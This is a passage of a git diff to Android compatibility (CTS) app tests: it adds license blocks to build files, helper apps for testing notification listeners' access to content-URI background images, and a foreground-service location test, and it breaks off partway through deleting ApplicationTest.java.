     name: "CtsBadProviderStubs",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/CantSaveState1/Android.bp b/tests/app/CantSaveState1/Android.bp
index d33f966..9173cd9 100644
--- a/tests/app/CantSaveState1/Android.bp
+++ b/tests/app/CantSaveState1/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCantSaveState1",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/CantSaveState2/Android.bp b/tests/app/CantSaveState2/Android.bp
index b3a26b8..6e812af 100644
--- a/tests/app/CantSaveState2/Android.bp
+++ b/tests/app/CantSaveState2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCantSaveState2",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/NotificationDelegator/Android.bp b/tests/app/NotificationDelegator/Android.bp
index 7398d69..314742c 100644
--- a/tests/app/NotificationDelegator/Android.bp
+++ b/tests/app/NotificationDelegator/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "NotificationDelegator",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
new file mode 100644
index 0000000..64b11f7
--- /dev/null
+++ b/tests/app/NotificationListener/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "NotificationListener",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "**/*.java",
+        "**/*.kt",
+        "src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+    ],
+    platform_apis: true,
+    sdk_version: "test_current",
+}
diff --git a/tests/app/NotificationListener/AndroidManifest.xml b/tests/app/NotificationListener/AndroidManifest.xml
new file mode 100644
index 0000000..f510637
--- /dev/null
+++ b/tests/app/NotificationListener/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.test.notificationlistener">
+    <application android:label="Notification Listener">
+
+        <service android:name=".NotificationUriAccessService"
+                 android:exported="true"/>
+
+        <service android:name=".TestNotificationListener"
+                 android:exported="true"
+                 android:label="TestNotificationListener"
+                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService"/>
+            </intent-filter>
+        </service>
+
+    </application>
+</manifest>
diff --git a/tests/app/NotificationListener/res/layout/activity.xml b/tests/app/NotificationListener/res/layout/activity.xml
new file mode 100644
index 0000000..f001f29
--- /dev/null
+++ b/tests/app/NotificationListener/res/layout/activity.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+>
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="25dp"
+        android:textAppearance="?android:attr/textAppearanceLarge"
+        android:text="@string/activity_description"
+    />
+
+</LinearLayout>
diff --git a/tests/app/NotificationListener/res/values/strings.xml b/tests/app/NotificationListener/res/values/strings.xml
new file mode 100644
index 0000000..e19d5bf
--- /dev/null
+++ b/tests/app/NotificationListener/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<resources>
+    <string name="activity_description">This app has a listener and an service used for tests</string>
+</resources>
\ No newline at end of file
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
new file mode 100644
index 0000000..eb93179
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.notificationlistener;
+
+interface INotificationUriAccessService {
+    void ensureNotificationListenerServiceConnected(boolean connected);
+    boolean isFileUriAccessible(in android.net.Uri uri);
+}
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
new file mode 100644
index 0000000..5e6e469
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.app.NotificationManager
+import android.app.Service
+import android.content.Intent
+import android.net.Uri
+import android.os.IBinder
+import java.io.IOException
+
+class NotificationUriAccessService : Service() {
+    private inner class MyNotificationUriAccessService : INotificationUriAccessService.Stub() {
+        @Throws(IllegalStateException::class)
+        override fun ensureNotificationListenerServiceConnected(ensureConnected: Boolean) {
+            val nm = getSystemService(NotificationManager::class.java)!!
+            val testListener = TestNotificationListener.componentName
+            check(nm.isNotificationListenerAccessGranted(testListener) == ensureConnected) {
+                "$testListener has incorrect listener access; expected=$ensureConnected"
+            }
+            val listener = TestNotificationListener.instance
+            if (ensureConnected) {
+                check(listener != null) {
+                    "$testListener has not been created, but should be connected"
+                }
+            }
+            val isConnected = listener?.isConnected ?: false
+            check(isConnected == ensureConnected) {
+                "$testListener has incorrect listener connection state; expected=$ensureConnected"
+            }
+        }
+
+        override fun isFileUriAccessible(uri: Uri?): Boolean {
+            try {
+                contentResolver.openAssetFile(uri!!, "r", null).use { return true }
+            } catch (e: SecurityException) {
+                return false
+            } catch (e: IOException) {
+                throw IllegalStateException("Exception without security error", e)
+            }
+        }
+    }
+
+    private val mBinder = MyNotificationUriAccessService()
+    override fun onBind(intent: Intent): IBinder? {
+        return mBinder
+    }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
new file mode 100644
index 0000000..19c7d82
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.content.ComponentName
+import android.service.notification.NotificationListenerService
+
+class TestNotificationListener : NotificationListenerService() {
+    var isConnected = false
+
+    override fun onListenerConnected() {
+        super.onListenerConnected()
+        instance = this
+        isConnected = true
+    }
+
+    override fun onListenerDisconnected() {
+        super.onListenerDisconnected()
+        isConnected = false
+    }
+
+    companion object {
+        var instance: TestNotificationListener? = null
+            private set
+        val componentName: ComponentName by lazy {
+            val javaClass = TestNotificationListener::class.java
+            ComponentName(javaClass.getPackage().name, javaClass.name)
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
new file mode 100644
index 0000000..cb33762
--- /dev/null
+++ b/tests/app/NotificationProvider/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "NotificationProvider",
+    defaults: ["cts_support_defaults"],
+    srcs: ["**/*.java", "**/*.kt"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    platform_apis: true,
+    sdk_version: "current",
+}
diff --git a/tests/app/NotificationProvider/AndroidManifest.xml b/tests/app/NotificationProvider/AndroidManifest.xml
new file mode 100644
index 0000000..09ae4b0
--- /dev/null
+++ b/tests/app/NotificationProvider/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.test.notificationprovider">
+    <application android:label="Notification Provider">
+        <activity android:name=".RichNotificationActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name=".AssetFileProvider"
+            android:authorities="com.android.test.notificationprovider.provider"
+            android:exported="false"
+            android:grantUriPermissions="true"
+            />
+
+    </application>
+</manifest>
diff --git a/tests/app/NotificationProvider/assets/background7.png b/tests/app/NotificationProvider/assets/background7.png
new file mode 100644
index 0000000..20c22f7
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background7.png
Binary files differ
diff --git a/tests/app/NotificationProvider/assets/background8.png b/tests/app/NotificationProvider/assets/background8.png
new file mode 100644
index 0000000..a7a593d
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background8.png
Binary files differ
diff --git a/tests/app/NotificationProvider/res/layout/activity.xml b/tests/app/NotificationProvider/res/layout/activity.xml
new file mode 100644
index 0000000..f001f29
--- /dev/null
+++ b/tests/app/NotificationProvider/res/layout/activity.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+>
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="25dp"
+        android:textAppearance="?android:attr/textAppearanceLarge"
+        android:text="@string/activity_description"
+    />
+
+</LinearLayout>
diff --git a/tests/app/NotificationProvider/res/values/strings.xml b/tests/app/NotificationProvider/res/values/strings.xml
new file mode 100644
index 0000000..266ea53
--- /dev/null
+++ b/tests/app/NotificationProvider/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<resources>
+    <string name="activity_description">This app has a provider and posts notifications</string>
+</resources>
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
new file mode 100644
index 0000000..af10f1b
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.content.ContentProvider
+import android.content.ContentValues
+import android.content.res.AssetFileDescriptor
+import android.database.Cursor
+import android.net.Uri
+
+class AssetFileProvider : ContentProvider() {
+    override fun onCreate(): Boolean {
+        return true
+    }
+
+    override fun openAssetFile(uri: Uri, mode: String): AssetFileDescriptor? {
+        val assets = context?.assets
+        val filename = uri.lastPathSegment
+        if (mode == "r" && assets != null && filename != null) {
+            return assets.openFd(filename)
+        }
+        return super.openAssetFile(uri, mode)
+    }
+
+    override fun query(
+        uri: Uri,
+        projection: Array<String>?,
+        selection: String?,
+        selectionArgs: Array<String>?,
+        sortOrder: String?
+    ): Cursor? {
+        throw UnsupportedOperationException()
+    }
+
+    override fun getType(uri: Uri): String? {
+        return null
+    }
+
+    override fun insert(uri: Uri, values: ContentValues?): Uri? {
+        throw UnsupportedOperationException()
+    }
+
+    override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int {
+        throw UnsupportedOperationException()
+    }
+
+    override fun update(
+        uri: Uri,
+        values: ContentValues?,
+        selection: String?,
+        selectionArgs: Array<String>?
+    ): Int {
+        throw UnsupportedOperationException()
+    }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
new file mode 100644
index 0000000..4197760
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.app.Activity
+import android.app.Notification
+import android.app.NotificationChannel
+import android.app.NotificationManager
+import android.content.Context
+import android.os.Bundle
+
+/**
+ * Used by NotificationManagerTest for testing policy around content uris.
+ */
+class RichNotificationActivity : Activity() {
+    companion object {
+        const val NOTIFICATION_CHANNEL_ID = "NotificationManagerTest"
+        const val EXTRA_ACTION = "action"
+        const val ACTION_SEND_7 = "send-7"
+        const val ACTION_SEND_8 = "send-8"
+        const val ACTION_CANCEL_7 = "cancel-7"
+        const val ACTION_CANCEL_8 = "cancel-8"
+    }
+
+    enum class NotificationPreset(val id: Int) {
+        Preset7(7),
+        Preset8(8);
+
+        fun build(context: Context): Notification {
+            val extras = Bundle()
+            extras.putString(Notification.EXTRA_BACKGROUND_IMAGE_URI,
+                    "content://com.android.test.notificationprovider.provider/background$id.png")
+            return Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+                    .setContentTitle("Rich Notification #$id")
+                    .setSmallIcon(android.R.drawable.sym_def_app_icon)
+                    .addExtras(extras)
+                    .build()
+        }
+    }
+
+    public override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        setContentView(R.layout.activity)
+        when (intent?.extras?.getString(EXTRA_ACTION)) {
+            ACTION_SEND_7 -> sendNotification(NotificationPreset.Preset7)
+            ACTION_SEND_8 -> sendNotification(NotificationPreset.Preset8)
+            ACTION_CANCEL_7 -> cancelNotification(NotificationPreset.Preset7)
+            ACTION_CANCEL_8 -> cancelNotification(NotificationPreset.Preset8)
+            else -> {
+                // reset both
+                cancelNotification(NotificationPreset.Preset7)
+                cancelNotification(NotificationPreset.Preset8)
+            }
+        }
+        finish()
+    }
+
+    private val notificationManager by lazy { getSystemService(NotificationManager::class.java)!! }
+
+    private fun sendNotification(preset: NotificationPreset) {
+        notificationManager.createNotificationChannel(NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                "Notifications", NotificationManager.IMPORTANCE_DEFAULT))
+        notificationManager.notify(preset.id, preset.build(this))
+    }
+
+    private fun cancelNotification(preset: NotificationPreset) {
+        notificationManager.cancel(preset.id)
+    }
+}
\ No newline at end of file
diff --git a/tests/app/StorageDelegator/Android.bp b/tests/app/StorageDelegator/Android.bp
index 588988c..77273516 100644
--- a/tests/app/StorageDelegator/Android.bp
+++ b/tests/app/StorageDelegator/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "StorageDelegator",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/TEST_MAPPING b/tests/app/TEST_MAPPING
index ca2dd6c..213ad1e 100644
--- a/tests/app/TEST_MAPPING
+++ b/tests/app/TEST_MAPPING
@@ -1,5 +1,5 @@
 {
-  "presubmit": [
+  "presubmit-large": [
     {
       "name": "CtsAppTestCases",
       "options": [
diff --git a/tests/app/app/Android.bp b/tests/app/app/Android.bp
index 19e3fcc..8cabf87 100644
--- a/tests/app/app/Android.bp
+++ b/tests/app/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppTestStubs",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 12a24c8..5a13eab 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -48,6 +48,7 @@
     public static final int COMMAND_STOP_ACTIVITY = 11;
     public static final int COMMAND_CREATE_FGSL_PENDING_INTENT = 12;
     public static final int COMMAND_SEND_FGSL_PENDING_INTENT = 13;
+    public static final int COMMAND_BIND_FOREGROUND_SERVICE = 14;
 
     public static final String EXTRA_COMMAND = "android.app.stubs.extra.COMMAND";
     public static final String EXTRA_TARGET_PACKAGE = "android.app.stubs.extra.TARGET_PACKAGE";
@@ -82,7 +83,7 @@
                 + intent);
         switch (command) {
             case COMMAND_BIND_SERVICE:
-                doBindService(context, intent);
+                doBindService(context, intent, SERVICE_NAME);
                 break;
             case COMMAND_UNBIND_SERVICE:
                 doUnbindService(context, intent);
@@ -120,15 +121,18 @@
             case COMMAND_SEND_FGSL_PENDING_INTENT:
                 doSendFgslPendingIntent(context, intent);
                 break;
+            case COMMAND_BIND_FOREGROUND_SERVICE:
+                doBindService(context, intent, FG_LOCATION_SERVICE_NAME);
+                break;
         }
     }
 
-    private void doBindService(Context context, Intent commandIntent) {
+    private void doBindService(Context context, Intent commandIntent, String serviceName) {
         String targetPackage = getTargetPackage(commandIntent);
         int flags = getFlags(commandIntent);
 
         Intent bindIntent = new Intent();
-        bindIntent.setComponent(new ComponentName(targetPackage, SERVICE_NAME));
+        bindIntent.setComponent(new ComponentName(targetPackage, serviceName));
 
         ServiceConnection connection = addServiceConnection(targetPackage);
 
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 410c98d..29b71e0 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -20,6 +20,7 @@
 
 import android.app.Activity;
 import android.content.pm.ActivityInfo;
+import android.content.res.Resources;
 import android.view.DisplayInfo;
 
 import java.util.concurrent.CountDownLatch;
@@ -71,8 +72,15 @@
 
     /** Checks whether the display dimension is close to square. */
     public static boolean isCloseToSquareDisplay(final Activity activity) {
-        final float closeToSquareMaxAspectRatio = activity.getResources().getFloat(
-                com.android.internal.R.dimen.config_closeToSquareDisplayMaxAspectRatio);
+        final Resources resources = activity.getResources();
+        final float closeToSquareMaxAspectRatio;
+        try {
+            closeToSquareMaxAspectRatio = resources.getFloat(resources.getIdentifier(
+                    "config_closeToSquareDisplayMaxAspectRatio", "dimen", "android"));
+        } catch (Resources.NotFoundException e) {
+            // Assume device is not close to square.
+            return false;
+        }
         final DisplayInfo displayInfo = new DisplayInfo();
         activity.getDisplay().getDisplayInfo(displayInfo);
         final int w = displayInfo.logicalWidth;
diff --git a/tests/app/app/src/android/app/stubs/TestDialog.java b/tests/app/app/src/android/app/stubs/TestDialog.java
index e067084..17d235c 100644
--- a/tests/app/app/src/android/app/stubs/TestDialog.java
+++ b/tests/app/app/src/android/app/stubs/TestDialog.java
@@ -84,6 +84,7 @@
     public KeyEvent keyMultipleEvent;
 
     private View mEmptyView;
+    private ContextMenu mContextMenu;
 
     public TestDialog(Context context) {
         super(context);
@@ -283,11 +284,13 @@
     @Override
     public void onContextMenuClosed(Menu menu) {
         isOnContextMenuClosedCalled = true;
+        mContextMenu = null;
         super.onContextMenuClosed(menu);
     }
 
     @Override
     public void onCreateContextMenu(ContextMenu menu, View v, ContextMenuInfo menuInfo) {
+        mContextMenu = menu;
         menu.add(0, CONTEXT_MENU_ITEM_0, 0, "ContextMenuItem0");
         menu.add(0, CONTEXT_MENU_ITEM_1, 0, "ContextMenuItem1");
         menu.add(0, CONTEXT_MENU_ITEM_2, 0, "ContextMenuItem2");
@@ -296,6 +299,12 @@
         isOnCreateContextMenuCalled = true;
     }
 
+    public void selectContextMenuItem() {
+        if (mContextMenu != null) {
+            mContextMenu.performIdentifierAction(CONTEXT_MENU_ITEM_0, 0);
+        }
+    }
+
     @Override
     public boolean onSearchRequested() {
         isOnSearchRequestedCalled = true;
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 9302e67..c982cd6 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -327,4 +327,43 @@
             uid2Watcher.finish();
         }
     }
+
+
+    public void testFgsLocationStartFromBGWithBind() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+
+        try {
+            // Package1 is in BG state, bind FGSL in package1 first.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            Bundle bundle = new Bundle();
+            bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
+                    ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
+            // Then start FGSL in package1, it won't get location capability.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
+
+            // Package1 is in FGS state, but won't get location capability.
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_NONE));
+
+            // unbind service.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // stop FGSL
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_CACHED_EMPTY,
+                    new Integer(PROCESS_CAPABILITY_NONE));
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/ApplicationTest.java b/tests/app/src/android/app/cts/ApplicationTest.java
deleted file mode 100644
index 4b0fc78..0000000
--- a/tests/app/src/android/app/cts/ApplicationTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.cts;
-
-import static org.mockito.Mockito.CALLS_REAL_METHODS;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.verify;
-
-import android.app.Activity;
-import android.app.Application;
-import android.app.Instrumentation;
-import android.app.stubs.MockApplication;
-import android.app.stubs.MockApplicationActivity;
-import android.content.ComponentCallbacks2;
-import android.content.Context;
-import android.content.Intent;
-import android.test.InstrumentationTestCase;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-/**
- * Test {@link Application}.
- */
-public class ApplicationTest extends InstrumentationTestCase {
